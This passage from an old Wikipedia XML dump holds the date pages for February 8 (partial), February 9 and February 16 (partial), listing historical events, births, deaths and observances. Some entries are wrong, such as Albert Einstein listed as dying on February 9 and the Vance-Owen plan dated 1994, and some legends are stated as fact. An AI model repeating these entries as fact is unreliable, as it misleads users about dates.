*[[1942]] - [[Robert Klein]], American comedian
*1942 - [[Terry Melcher]], American musician and record producer (d. [[2004]])
*[[1948]] - [[John Ford Coley]], American pop singer
*[[1949]] - [[Brooke Adams]], American actress
*[[1950]] - [[Dan Seals]], American singer
*[[1953]] - [[Mary Steenburgen]], American actress
*1953 - [[Roger Clavet]], Quebecois politician
*[[1955]] - [[John Grisham]], American novelist
*[[1960]] - [[Dino Ciccarelli]], Canadian ice hockey player
*[[1961]] - [[Vince Neil]], American musician
*[[1966]] - [[Hristo Stoichkov]], Bulgarian soccer player
*1966 - [[Kirk Muller]], Canadian [[ice hockey]] player
*[[1968]] - [[Gary Coleman]], American actor
*1968 - [[Claudette Pace]], Maltese singer
*[[1972]] - [[Paul Wight]], American professional wrestler
*[[1974]] - [[Seth Green]], American actor
*1974 - [[Guy-Manuel de Homem-Christo]], French DJ ([[Daft Punk]])
*[[1977]] - [[Bridgette Kerkove]], American pornographic actress
*1977 - [[Dave Farrell]], American musician ([[Linkin Park]])
*1977 - [[Yucef Merhi]], Venezuelan artist
*[[1982]] - [[Eric Alexander (football player)|Eric Alexander]], American football player
*[[1983]] - [[Jim Verraros]], American singer
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1250]] - [[Robert I of Artois]], French crusader (killed in battle) (b. [[1216]]).
*1250 - [[William II Longespee]]
*[[1265]] - [[Hulagu Khan]], Mongol ruler (b. [[1217]])
*[[1296]] - King [[Przemysł II of Poland]] (b. [[1257]])
*[[1529]] - [[Baldassare Castiglione]], Italian writer and diplomat (b. [[1478]])
*[[1587]] - [[Mary I of Scotland|Mary, Queen of Scots]] (executed) (b. [[1542]])
*[[1599]] - [[Robert Rollock]], Scottish educator
*[[1623]] - [[Thomas Cecil, 1st Earl of Exeter]], English politician (b. [[1546]])
*[[1696]] - Tsar [[Ivan V of Russia]] (b. [[1666]])
*[[1709]] - [[Giuseppe Torelli]], Italian composer (b. [[1658]])
*[[1725]] - Tsar [[Peter I of Russia]] (b. [[1672]])
*[[1749]] - [[Jan van Huysum]], Dutch painter (b. [[1682]])
*[[1750]] - [[Aaron Hill]], English writer (b. [[1685]])
*[[1768]] - [[George Dance the Elder]], English architect (b. [[1695]])
*[[1772]] - [[Augusta of Saxe-Gotha]], Princess of Wales (b. [[1719]])
*[[1849]] - [[France Prešeren]], Slovenian poet (b. [[1800]])
*[[1856]] - [[Agostino Bassi]], Italian entomologist (b. [[1773]])
*[[1910]] - [[Hans Jæger]], Norwegian writer and political activist (b. [[1854]])
*[[1921]] - [[Peter Kropotkin]], Russian anarchist (b. [[1842]])
*[[1929]] - [[Maria Christina of Austria|Maria Christina]], Queen Regent of Spain (b. [[1858]])
*[[1956]] - [[Connie Mack (baseball)|Connie Mack]], baseball manager and executive (b. [[1862]])
*[[1957]] - [[Walther Bothe]], German physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1891]])
*1957 - [[John von Neumann]], Hungarian-born mathematician and physicist (b. [[1903]])
*[[1960]] - Sir [[Giles Gilbert Scott]], English architect (b. [[1880]])
*[[1964]] - [[Ernst Kretschmer]], German psychiatrist (b. [[1888]])
*[[1973]] - [[Max Yasgur]], American Woodstock Festival host (b. [[1919]])
*[[1975]] - [[Robert Robinson (scientist)|Robert Robinson]], British chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1886]])
*[[1977]] - [[Eivind Groven]], Norwegian composer and ethnomusicologist (b. [[1901]])
*[[1984]] - [[Karel Miljon]], Dutch boxer (b. [[1903]])
*[[1985]] - Sir [[William Lyons]], British automobile manufacturer (b. [[1901]])
*[[1987]] - [[Harriet E. MacGibbon]], American actress (b. [[1905]])
*[[1990]] - [[Del Shannon]], American entertainer (suicide) (b. [[1934]])
*[[1993]] - [[N. Shanmugathasan]], Sri Lankan communist leader
*[[1994]] - [[Raymond Scott]], American actor and inventor (b. [[1908]])
*[[1998]] - [[Halldór Laxness]], Icelandic writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1902]])
*1998 - [[Julian Lincoln Simon]], American economist and author (b. [[1932]])
*[[1999]] - [[Iris Murdoch]], Irish author (b. [[1919]])
*[[2000]] - [[Sid Abel]], Canadian hockey player and coach (b. [[1918]])
*2000 - [[Derrick Thomas]], American football player (b. [[1967]])
*[[2001]] - [[Ivo Caprino]], Norwegian animated film director (b. [[1920]])
*[[2002]] - [[Joachim Hoffmann]], German historian (b. [[1930]])
*2002 - [[Ong Teng Cheong]], [[President of Singapore|President]] of [[Singapore|Republic of Singapore]] (b. [[1936]])
*[[2004]] - [[Julius Schwartz]], American comic book and science fiction editor (b. [[1915]])
*[[2005]] - [[Jimmy Smith]], American jazz musician (b. [[1925]] or [[1928]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
* [[Feast day]] of [[Jerome Emiliani | Saint Jerome Emiliani]].
* [[Slovenia]] - [[Prešeren Day]], the [[Slovenian]] cultural holiday.
* [[Nirvana]] Day - an annual [[Buddhist]] festival.

==External links==
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=08 On this day in Canada]
* [http://www.nytimes.com/learning/general/onthisday/20060208.html NY Times: On this day]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/8 BBC: On This Day]

----

[[February 7]] - [[February 9]] - [[January 8]] - [[March 8]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[Category:Days|February 08]]

[[af:8 Februarie]]
[[ar:8 فبراير]]
[[ast:8 de febreru]]
[[be:8 лютага]]
[[bg:8 февруари]]
[[ca:8 de febrer]]
[[cs:8. únor]]
[[csb:8 gromicznika]]
[[cy:8 Chwefror]]
[[da:8. februar]]
[[de:8. Februar]]
[[el:8 Φεβρουαρίου]]
[[eo:8-a de februaro]]
[[es:8 de febrero]]
[[et:8. veebruar]]
[[fi:8. helmikuuta]]
[[fr:8 février]]
[[fy:8 febrewaris]]
[[gl:8 de febreiro]]
[[he:8 בפברואר]]
[[hr:8. veljače]]
[[hu:Február 8]]
[[id:8 Februari]]
[[io:8 di februaro]]
[[is:8. febrúar]]
[[it:8 febbraio]]
[[ja:2月8日]]
[[ko:2월 8일]]
[[ku:8'ê reşemiyê]]
[[lb:8. Februar]]
[[lt:Vasario 8]]
[[mk:8 февруари]]
[[nb:8. februar]]
[[nl:8 februari]]
[[nn:8. februar]]
[[oc:8 de febrièr]]
[[pl:8 lutego]]
[[pt:8 de Fevereiro]]
[[ro:8 februarie]]
[[ru:8 февраля]]
[[sa:८ फरवरी]]
[[sco:8 Februar]]
[[simple:February 8]]
[[sk:8. február]]
[[sl:8. februar]]
[[sq:8 Shkurt]]
[[sr:8. фебруар]]
[[sv:8 februari]]
[[th:8 กุมภาพันธ์]]
[[tl:Pebrero 8]]
[[tr:8 Şubat]]
[[tt:8. Febräl]]
[[uk:8 лютого]]
[[wa:8 di fevrî]]
[[zh:2月8日]]</text>
    </revision>
  </page>
  <page>
    <title>February 9</title>
    <id>11361</id>
    <revision>
      <id>41611742</id>
      <timestamp>2006-02-28T14:31:47Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: corrected link to disambiguation page American ([[Wikipedia:Disambiguation_pages_with_links|you can help!]])</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=9}}
|}
'''[[February 9]]''' is the 40th day of the year in the [[Gregorian Calendar]]. There are 325 days remaining, 326 in [[leap year]]s.
==Events==
* [[474]] - [[Zeno of the Byzantine Empire|Zeno]] crowned as co-emperor of the [[Byzantine Empire]].
* [[1555]] - [[Bishop]] of [[Gloucester]] [[John Hooper]] is [[burned at the stake]].
* [[1621]] - [[Pope Gregory XV|Gregory XV]] becomes [[Pope]], the last Pope [[Papal election|elected]] by [[acclamation]].
* [[1775]] - [[American Revolutionary War]]: [[List of Parliaments of Great Britain|British Parliament]] declares [[Massachusetts]] in rebellion.
* [[1822]] - [[Haiti]] invades the [[Dominican Republic]].
* [[1825]] - After no presidential candidate received a majority of [[U.S. Electoral College|electoral votes]], the [[United States House of Representatives]] elects [[John Quincy Adams]] [[President of the United States]].
* [[1861]] - [[American Civil War]]:  [[Jefferson Davis]] is elected the Provisional President of the [[Confederate States of America]] by the [[Confederate convention]] at [[Montgomery, Alabama]].
* [[1870]] - The [[U.S. Weather Bureau]] was established.
* [[1885]] - The first [[Japan]]ese arrive in [[Hawaii]].
* [[1889]] - The [[United States Department of Agriculture]] ([[USDA]]) is established as a [[United States Cabinet|Cabinet]]-level agency.
* [[1895]] - [[William G. Morgan]] invents [[volleyball]].
* [[1900]] - [[Davis Cup]] competition is established.
* [[1920]] - By the terms of the [[Svalbard Treaty]], international diplomacy recognizes [[Norway|Norwegian]] sovereignty over arctic archipelago [[Svalbard]], and designates it as [[demilitarized]].
* [[1922]] - [[Brazil]] becomes a member of the [[Berne Convention for the Protection of Literary and Artistic Works|Berne Convention]] [[copyright]] [[treaty]].
* [[1942]] - [[World War II]]: Top [[United States]] military leaders hold their first formal meeting to discuss [[United States|American]] military strategy in the war.
* 1942 - [[Daylight saving time]] goes into effect in the [[United States]].
* [[1943]] - [[World War II]]: [[Battle of Guadalcanal]]: After forcing the remaining [[Japanese people|Japanese]] to be evacuated the night before, [[United States|American]] authorities declared [[Guadalcanal (Pacific Ocean island)|Guadalcanal]] secure.
* [[1950]] - [[Red scare]]: [[United States Senate|Senator]] [[Joseph McCarthy]] accuses the [[United States Department of State|United States State Department]] of being filled with [[communism|Communists]].
* [[1960]] - [[Joanne Woodward]] receives the first star on the [[Hollywood Walk of Fame]].
* [[1962]] - [[Jamaica]] becomes independent nation within the [[Commonwealth of Nations]].
* [[1964]] - [[The Beatles]] make their first appearance on [[The Ed Sullivan Show]].
* [[1965]] - [[Vietnam War]]: The first [[United States]] combat troops are sent to [[South Vietnam]].
* [[1969]] - First test flight of the [[Boeing 747]].
* [[1971]] - The 6.4 on the [[Richter Scale]] [[Sylmar earthquake]] hits the [[San Fernando Valley]] area of [[California]].
* 1971 - [[Satchel Paige]] becomes the first [[Negro League baseball|Negro League]] player to become voted into the [[Baseball Hall of Fame]].
* 1971 - [[Apollo program]]: [[Apollo 14]] returns to [[Earth]] after the third manned [[moon]] landing.
* [[1973]] - [[Biju Patnaik]] of the [[Pragati Legislature Party]] elected leader of opposition in the state assembly in [[Orissa]], [[India]].
* [[1975]] - The [[Soyuz 17]] [[Soviet Union|Soviet]] [[spacecraft]] returns to [[Earth]].
* [[1986]] - [[Comet Halley]] reaches [[perihelion]], its closest approach to the [[sun]], during its second visit to the [[solar system]] in the [[20th century]].
* [[1991]] - Voters in [[Lithuania]] vote for independence.
* [[1994]] - Peace plan for [[Bosnia and Herzegovina]] announced (so called [[Vance-Owen]] peace plan).
* [[1996]] - The [[Irish Republican Army]] declares the end of its 18 month [[ceasefire]] shortly followed by a large bomb in [[London]]'s [[Canary Wharf]].
* [[2001]] - The [[United States|American]] submarine [[USS]] ''[[USS Greeneville|Greeneville]]'' accidentally strikes and sinks the ''[[Ehime-Maru]]'', a [[Japanese people|Japanese]] training vessel operated by the [[Uwajima Fishery High School]].
* [[2005]] - The quiz show [[Jeopardy!]] begins its 76-day Ultimate Tournament of Champions. 144 former champions return for an elimination tournament to see which two people would square off against [[Ken Jennings]] in the finals for $2,000,000.

==Births==
*[[1404]] - [[Constantine XI]], last [[Byzantine Emperor]] (d. [[1453]])
*[[1533]] - [[Shimazu Yoshihisa]], Japanese warlord and samurai (d. [[1611]])
*[[1666]] - [[George Hamilton, 1st Earl of Orkney]], British soldier (d. [[1737]])
*[[1748]] - [[Luther Martin]], American patriot (d. [[1826]])
*[[1773]] - [[William Henry Harrison]], [[President of the United States]] (d. [[1841]])
*[[1783]] - [[Vasily Zhukovsky]], Russian poet (d. [[1852]])
*[[1800]] - [[Hyrum Smith]], American religious leader (d. [[1844]])
*[[1830]] - [[Abd-ul-Aziz]], [[Ottoman Sultan]] (d. [[1876]])
*[[1834]] - [[Felix Dahn]], German author (d. [[1912]])
*[[1846]] - [[Wilhelm Maybach]], German automotive designer and industrialist (d. [[1929]])
*[[1865]] - [[Mrs. Patrick Campbell]], British actress (d. [[1940]])
*[[1874]] - [[Amy Lowell]], American poet (d. [[1925]])
*[[1885]] - [[Alban Berg]], Austrian composer (d. [[1935]])
*[[1891]] - [[Ronald Colman]], English actor (d. [[1958]])
*[[1892]] - [[Peggy Wood]], American actress (d. [[1978]])
*[[1895]] - [[Hermann Brill]], German politician (d. [[1959]])
*[[1897]] - [[Charles Kingsford Smith|Sir Charles Kingsford-Smith]], Australian pilot (d. [[1935]])
*[[1901]] - [[Brian Donlevy]], Irish actor (d. [[1972]])
*1901 - [[James Murray (actor)|James Murray]], American actor (d. [[1936]])
*[[1902]] - [[Gertrud Scholtz-Klink]], German women's leader (d. [[1999]])
*[[1909]] - [[Heather Angel]], British actress (d. [[1986]])
*1909 - [[Carmen Miranda]], Portuguese actress and singer (d. [[1955]])
*1909 - [[Dean Rusk]], [[United States Secretary of State]] (d. [[1994]])
*[[1910]] - [[Jacques Monod]], French biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1976]])
*[[1914]] - [[Gypsy Rose Lee]], American dancer and actress (d. [[1970]])
*1914 - [[Ernest Tubb]], American singer (d. [[1984]])
*1914 - [[Bill Veeck]], baseball executive (d. [[1986]])
*[[1916]] - [[Tex Hughson]], baseball player (d. [[1993]])
*[[1922]] - [[Kathryn Grayson]], American actress
*[[1923]] - [[Brendan Behan]], Irish author (d. [[1964]])
*[[1925]] - [[Burkhard Heim]], German physicist (d. [[2001]])
*[[1926]] - [[Garret FitzGerald]], seventh [[Taoiseach]] of the [[Republic of Ireland]]
*[[1928]] - [[Frank Frazetta]], American illustrator
*1928 - [[Roger Mudd]], American journalist
*[[1930]] - [[Garner Ted Armstrong]], American evangelist (d. [[2003]])
*[[1932]] - [[Gerhard Richter]], German painter and graphic artist
*[[1936]] - [[Clive Swift]], British actor
*[[1939]] - [[Barry Mann]], American singer and songwriter
*1939 - [[Janet Suzman]], South African actress
*[[1940]] - [[J. M. Coetzee]], South African author, [[Nobel Prize in Literature|Nobel Prize]] laureate
*[[1941]] - [[Sheila Kuehl]], American actress and politician
*[[1942]] - [[Carole King]], American singer and composer
*[[1943]] - [[Joe Pesci]], American actor
*1943 - [[Joseph E. Stiglitz]], American economist, [[Nobel Prize in Economics|Bank of Sweden Prize]] winner
*[[1944]] - [[Alice Walker]], American writer
*1944 - [[Derryn Hinch]], Australian media personality
*[[1945]] - [[Mia Farrow]], American actress
*[[1946]] - [[Séan Neeson]], Northern Irish politician
*[[1947]] - [[Carla Del Ponte]], UN prosecutor
*[[1949]] - [[Judith Light]], American actress
*1949 - [[Jim Sheridan]], Irish film director
*[[1952]] - [[Mookie Wilson]], baseball player
*[[1953]] - [[Ciarán Hinds]], Northern Irish actor
*[[1955]] - [[JM J. Bullock]], American actor
*1955 - [[Charles Shaughnessy]], British actor
*[[1960]] - [[Holly Johnson]], British singer ([[Frankie Goes To Hollywood]])
*[[1961]] - [[John Kruk]], baseball player and commentator
*[[1963]] - [[Brian Greene]], American physicist
*1963 - [[Travis Tritt]], American singer
*[[1966]] - [[Ellen van Langen]], Dutch athlete
*[[1967]] - [[Todd Pratt]], American baseball player
*[[1970]] - [[Glenn McGrath]], Australian cricketer
*[[1971]] - [[Sharon Case]], American actress
*[[1976]] - [[Vladimir Guerrero]], Dominican [[Major League Baseball]] player
*[[1979]] - [[David Gray (snooker player)|David Gray]], English snooker player
*1979 - [[Mena Suvari]], American actress
*1979 - [[Zhang Ziyi]], Chinese actress
*[[1981]] - [[John Walker Lindh]], American Taliban fighter
*[[1982]] - [[Ami Suzuki]], Japanese singer
*[[1985]] - [[David Gallagher]], American actor
*[[1989]] - [[Jon Zamora]], First Filipino, American Child Actor
*[[1996]] - [[Jimmy Bennett]], American actor
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1199]] - [[Minamoto no Yoritomo]], Japanese shogun (b. [[1147]])
*[[1450]] - [[Agnès Sorel]], mistress of King [[Charles VII of France]] (b. [[1421]])
*[[1555]] - [[Rowland Taylor]], English pastor (executed) (b. [[1510]])
*[[1619]] - [[Lucilio Vanini]], Italian philosopher (b. [[1585]])
*[[1640]] - [[Murad IV]], [[Ottoman Sultan]] (b. [[1612]])
*[[1675]] - [[Gerhard Douw]], Dutch painter (b. [[1613]])
*[[1709]] - [[François Louis, Prince of Conti]], French general (b. [[1664]])
*[[1751]] - [[Henri François d'Aguesseau]], Chancellor of France (b. [[1668]])
*[[1752]] - [[Fredric Hasselquist]], Swedish naturalist (b. [[1722]])
*[[1777]] - [[Seth Pomeroy]], American gunsmith and soldier (b. [[1706]])
*[[1782]] - [[Joseph Aloysius Assemani]], Syrian orientalist (b. [[1710]])
*[[1803]] - [[Jean François de Saint-Lambert]], French poet (b. [[1716]])
*[[1881]] - [[Fyodor Dostoyevsky]], Russian novelist (b. [[1821]])
*[[1891]] - [[Johan Jongkind]], Dutch painter (b. [[1819]])
*[[1906]] - [[Paul Laurence Dunbar]], American poet (b. [[1872]])
*[[1940]] - [[Eugene Bleuler]], Swiss psychiatrist (b. [[1857]])
*[[1951]] - [[Eddy Duchin]], American musician (b. [[1910]])
*[[1955]] - [[Albert Einstein]], American, Swiss physicist, (b. [[1879]])
*[[1957]] - [[Miklós Horthy]], Hungarian admiral and regent (b. [[1868]])
*[[1960]] - [[Alexandre Benois]], Russian artist (b. [[1870]])
*[[1966]] - [[Sophie Tucker]], Russian-born actress and singer (b. [[1884]])
*[[1969]] - [[Gabby Hayes]], American actor (b. [[1885]])
*[[1976]] - [[Percy Faith]], Canadian musician and composer (b. [[1908]])
*[[1979]] - [[Dennis Gabor]], Hungarian physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1900]])
*[[1981]] - [[Bill Haley]], American musician ([[Bill Haley and the Comets]]) (b. [[1925]])
*[[1984]] - [[Yuri Andropov]], General Secretary of the Communist Party of the Soviet Union (b. [[1914]])
*[[1989]] - [[Osamu Tezuka]], the godfather of [[Japanese people|Japanese]] [[manga]] (b. [[1928]])
*[[1994]] - [[Howard Martin Temin]], American geneticist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1934]])
*[[1995]] - [[J. William Fulbright]], U.S. Senator (b. [[1905]])
*[[1999]] - [[Bryan Mosley]], British actor (b. [[1931]])
*[[2001]] - [[Herbert Simon]], American economist, [[Nobel Prize in Economics|Nobel Prize]] laureate (b. [[1916]])
*[[2002]] - [[Princess Margaret of the United Kingdom]] (b. [[1930]])
*[[2006]] - [[Freddie Laker]], British Airline entrepreneur

==Holidays and observances==

Saint Maroon's Day - [[Lebanon]]

==External links==
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=09 On this day in Canada]
* [http://www.nytimes.com/learning/general/onthisday/20060209.html NY Times: On this day]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/9 BBC: On This Day]

----

[[February 8]] - [[February 10]] - [[January 9]] - [[March 9]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[Category:Days|February 09]]

[[af:9 Februarie]]
[[ar:9 فبراير]]
[[an:9 de frebero]]
[[ast:9 de febreru]]
[[bg:9 февруари]]
[[be:9 лютага]]
[[bs:9. februar]]
[[ca:9 de febrer]]
[[ceb:Pebrero 9]]
[[cv:Нарăс, 9]]
[[co:9 di frivaghju]]
[[cs:9. únor]]
[[cy:9 Chwefror]]
[[da:9. februar]]
[[de:9. Februar]]
[[et:9. veebruar]]
[[el:9 Φεβρουαρίου]]
[[es:9 de febrero]]
[[eo:9-a de februaro]]
[[eu:Otsailaren 9]]
[[fo:9. februar]]
[[fr:9 février]]
[[fy:9 febrewaris]]
[[ga:9 Feabhra]]
[[gl:9 de febreiro]]
[[ko:2월 9일]]
[[hr:9. veljače]]
[[io:9 di februaro]]
[[id:9 Februari]]
[[ia:9 de februario]]
[[is:9. febrúar]]
[[it:9 febbraio]]
[[he:9 בפברואר]]
[[jv:9 Februari]]
[[ka:9 თებერვალი]]
[[csb:9 gromicznika]]
[[ku:9'ê reşemiyê]]
[[lt:Vasario 9]]
[[lb:9. Februar]]
[[hu:Február 9]]
[[mk:9 февруари]]
[[ms:9 Februari]]
[[nap:9 'e frevaro]]
[[nl:9 februari]]
[[ja:2月9日]]
[[no:9. februar]]
[[nn:9. februar]]
[[oc:9 de febrièr]]
[[pl:9 lutego]]
[[pt:9 de Fevereiro]]
[[ro:9 februarie]]
[[ru:9 февраля]]
[[se:Guovvamánu 9.]]
[[sco:9 Februar]]
[[sq:9 Shkurt]]
[[scn:9 di frivaru]]
[[simple:February 9]]
[[sk:9. február]]
[[sl:9. februar]]
[[sr:9. фебруар]]
[[fi:9. helmikuuta]]
[[sv:9 februari]]
[[tl:Pebrero 9]]
[[tt:9. Febräl]]
[[te:ఫిబ్రవరి 9]]
[[th:9 กุมภาพันธ์]]
[[vi:9 tháng 2]]
[[tr:9 Şubat]]
[[uk:9 лютого]]
[[wa:9 di fevrî]]
[[war:Pebrero 9]]
[[zh:2月9日]]
[[pam:Pebreru 9]]</text>
    </revision>
  </page>
  <page>
    <title>February 16</title>
    <id>11362</id>
    <revision>
      <id>41899274</id>
      <timestamp>2006-03-02T13:43:40Z</timestamp>
      <contributor>
        <username>Ghirlandajo</username>
        <id>147410</id>
      </contributor>
      <comment>/* Deaths */ [[Vera Kholodnaya]]</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=16}}
|}
'''February 16''' is the [[47 (number)|47]]th day of the year in the [[Gregorian Calendar]]. There are 318 days remaining (319 in [[leap year]]s).
==Events==
* [[600]] - [[Pope Gregory I]] decreed that &quot;[[Bless you|God bless you]]&quot; was the correct response to a [[sneeze]].
* [[1249]] - [[Andrew of Longjumeau]] was dispatched by [[Louis IX of France]] as his ambassador to meet with the Khan of the [[Mongols]].
* [[1279]] - [[Afonso III of Portugal]] dies.  His son [[Denis of Portugal|Denis]] succeeds the [[List of Portuguese monarchs|Portuguese throne]].
* [[1568]] - The entire population of the [[Netherlands]] - three million people - was sentenced to death by the Roman Catholic Church for heresy; see [[Eighty Years' War]].
* [[1742]] - [[Spencer Compton]], Earl of Wilmington, becomes [[Prime Minister of the United Kingdom|British Prime Minister]].
* [[1804]] - [[First Barbary War]]: [[Stephen Decatur]] leads a raid to burn the pirate-held frigate [[USS Philadelphia|USS ''Philadelphia'']].
* [[1838]] - [[Weenen Massacre]]: Hundreds of [[Voortrekkers]] along the Blaukraans River, [[KwaZulu-Natal Province|Natal]] were killed by [[Zulu]]s.
* [[1852]] - [[Studebaker]] Brothers wagon company, precursor of the [[automobile]] manufacturer, is established.
* [[1857]] -  The National Deaf Mute College (later renamed [[Gallaudet University]]) is established in [[Washington, DC]], becoming the first school for the advanced education of the [[deaf]].
* [[1862]] - [[American Civil War]]: General [[Ulysses S. Grant]] captures [[Fort Donelson]], [[Tennessee]].
* [[1866]] - [[Spencer Compton Cavendish, 8th Duke of Devonshire|Spencer Compton Cavendish, Marquess of Hartington]] becomes the British [[Secretary of State for War]]
* [[1868]] - In [[New York City]] the Jolly Corks organization is renamed the [[Benevolent and Protective Order of Elks]] (BPOE).
* [[1883]] - ''[[Ladies Home Journal]]'' is published for the first time.
* [[1899]] - [[President of France|President]] [[Félix Faure]] of [[France]] dies in office.
* [[1918]] - [[Lithuania]] declares its independence from both [[Russia]] and [[Germany]].
* [[1923]] - [[Howard Carter]] unseals the burial chamber of [[Pharaoh]] [[Tutankhamun]].
* [[1934]] - [[Austrian Civil War]] ends with the defeat of the [[Social Democratic Party of Austria|Social Democrats]] and the Republican [[Schutzbund]]
* 1934 - [[Commission of Government]] sworn in as form of direct rule for the [[Dominion of Newfoundland]].
* [[1936]] - Elections bring the [[Popular Front (Spain)|Popular Front]] to power in [[Spain]].
* [[1937]] - [[Wallace H. Carothers]] receives a [[patent]] for [[nylon]].
* [[1940]] - [[Altmark Incident]]: The German tanker [[German tanker Altmark|''Altmark'']], with 299 British prisoners, is boarded in neutral Norwegian waters by sailors from the British [[destroyer]] [[HMS Cossack|HMS ''Cossack'']] and the prisoners set free, a breach of Norwegian neutrality at the beginning of [[World War II]].
* [[1943]] - [[World War II]]: [[USSR]] reconquers [[Kharkov]].
* [[1945]] - [[World War II]]: American forces land on [[Corregidor]] island in the [[Philippines]].
* 1945 - American forces recapture the [[Bataan]] Peninsula.
* [[1959]] - [[Fidel Castro]] becomes Premier of [[Cuba]] after President [[Fulgencio Batista]] was overthrown on [[January 1]].
* [[1961]] - [[Explorer 9]] launched. (''See [[Explorer program]]'')
* [[1968]] -  In [[Haleyville, Alabama]] the first [[9-1-1]] emergency telephone system goes into service.  
* [[1970]] - [[Joe Frazier]] starts a [[heavyweight]] world [[boxing]] champion winning streak with the knock out of [[Jimmy Ellis]] in five rounds.
* [[1972]] - NBA [[basketball]] player [[Wilt Chamberlain]] scores 30,000th point.
* [[1978]] - The first [[computer]] [[bulletin board system]] is created (CBBS in [[Chicago, Illinois]]).
* [[1980]] - [[Nutty]] begins publication
* [[1983]] - The [[Ash Wednesday fires|Ash Wednesday bushfires]] in [[Victoria (Australia)|Victoria]] and [[South Australia]] claim the lives of 71 people in [[Australia|Australia's]] worst ever fires. 
* [[1986]] - The [[Soviet Union|Soviet]] liner ''[[Mikhail Lermontov (ship)|Mikhail Lermontov]]'' runs aground in the [[Marlborough Sounds]], [[New Zealand]].
* [[1987]] - The trial of [[John Demjanjuk]], accused of being a [[Nazi]] guard dubbed &quot;Ivan the Terrible&quot; in [[Treblinka extermination camp]], starts in [[Jerusalem]]. 
* [[1988]] - ''[[The Comedy Company]]'' debuts on Network 0-10 Ten.
* [[1991]] - [[Gulf War]]: U.S. and U.K. war planes bomb the suburbs of [[Baghdad]], injuring at least 11 civilians and killing three others. 
* [[1998]] - [[China Airlines Flight 676]] crashed into a residential area near by  [[Chiang Kai-shek International Airport]], killing 202 people, included all 196 on board and six on the ground.
* [[1999]] - In [[Uzbekistan]] a bomb explodes and gunfire is heard at the government headquarters in an apparent [[assassination]] attempt against President [[Islam Karimov]].
* 1999 - Across [[Europe]], [[Kurd]]ish rebels take over embassies and hold hostages after [[Turkey]] arrested one of their rebel leaders, [[Abdullah Öcalan]].  
* 1999 - In [[Jasper, Texas]], the trial begins of [[John William King]] who is accused of dragging [[African American]] [[James Byrd Jr.]] to death in an apparent [[hate crime]].
*[[2005]] - The [[Kyoto Protocol]] comes into force, following its [[ratification]] by [[Russia]].
* 2005 - The [[National Hockey League]] cancels the entire 2004-2005 regular season and playoffs, becoming the first major sports league in North America to do so over a labour dispute.
*[[2006]] - [[New Zealand]] [[all-rounder]] [[Chris Cairns]], [[New Zealand Order of Merit|ONZM]], plays his final international [[cricket]] match against the [[West Indian cricket team|West Indies]] in a [[Twenty20]] game in [[Eden Park|Auckland]].

==Births==
*[[1032]] - [[Emperor Yingzong (Song Dynasty)|Emperor Yingzong of China]] (d. [[1067]])
*[[1222]] - [[Nichiren]], Japanese founder of Nichiren Buddhism (d. [[1282]])
*[[1497]] - [[Philipp Melanchthon]], German humanist and reformer (d. [[1560]])
*[[1519]] - [[Gaspard de Coligny]], French Huguenot leader (d. [[1572]])
*[[1543]] - [[Kano Eitoku]], Japanese painter (d. [[1590]])
*[[1620]] - [[Friedrich Wilhelm I of Brandenburg]] (d. [[1688]])
*[[1643]] - [[John Sharp]], English Archbishop of York (d. [[1714]])
*[[1710]] - King [[Louis XV of France]] (d. [[1774]])
*[[1727]] - [[Nikolaus Joseph von Jacquin]], Austrian scientist (d. [[1817]])
*[[1761]] - [[Charles Pichegru]], French general (d. [[1804]])
*[[1804]] - [[Karl Theodor Ernst von Siebold]], German physiologist (d. [[1885]])
*[[1821]] - [[Heinrich Barth]], German explorer
*[[1822]] - Sir [[Francis Galton]], English explorer and biologist (d. [[1911]])
*[[1824]] - [[Peter Kozler]], Slovenian cartographer and geographer (d. [[1879]])
*[[1826]] - [[Julia Grant]], [[First Lady of the United States]] (d. [[1902]])
*1826 - [[Joseph Victor von Scheffel]], German poet (d. [[1886]])
*[[1831]] - [[Nikolai Leskov]], Russian writer (d. [[1895]])
*[[1834]] - [[Ernst Haeckel]], German zoologist and philosopher (d. [[1919]])
*[[1838]] - [[Henry Adams]], American historian and novelist (d. [[1918]])
*[[1866]] - [[Vyacheslav Ivanov]], Russian poet (d. [[1949]])
*[[1876]] - [[George Macaulay Trevelyan]], English historian (d. [[1962]])
*[[1884]] - [[Robert J. Flaherty]], American filmmaker (d. [[1951]])
*[[1886]] - [[Van Wyck Brooks]], American historian and critic (d. [[1963]])
*[[1898]] - [[Katharine Cornell]], American actress  (d. [[1974]])
*[[1901]] - [[Chester Morris]], American film actor  (d. [[1970]])
*[[1903]] - [[Edgar Bergen]], American ventriloquist (d. [[1978]])
*[[1904]] - [[George F. Kennan]], American political policy-maker  (d. [[2005]])
*[[1909]] - [[Hugh Beaumont]], American actor (d. [[1982]])
*1909 - [[Jeffrey Lynn]], American actor (d. [[1995]])
*[[1915]] - [[Jim O'Hora]], American college football coach (d. [[2005]])
*[[1921]] - [[Araucaria (compiler)|Araucaria]], British crossword compiler
*1921 - [[Vera-Ellen]], American actress (d. [[1981]])
*[[1926]] - [[John Schlesinger]], English film director (d. [[2003]])
*[[1927]] - [[June Brown]], British actress
*1927 - [[Tom Kennedy]], American game show host
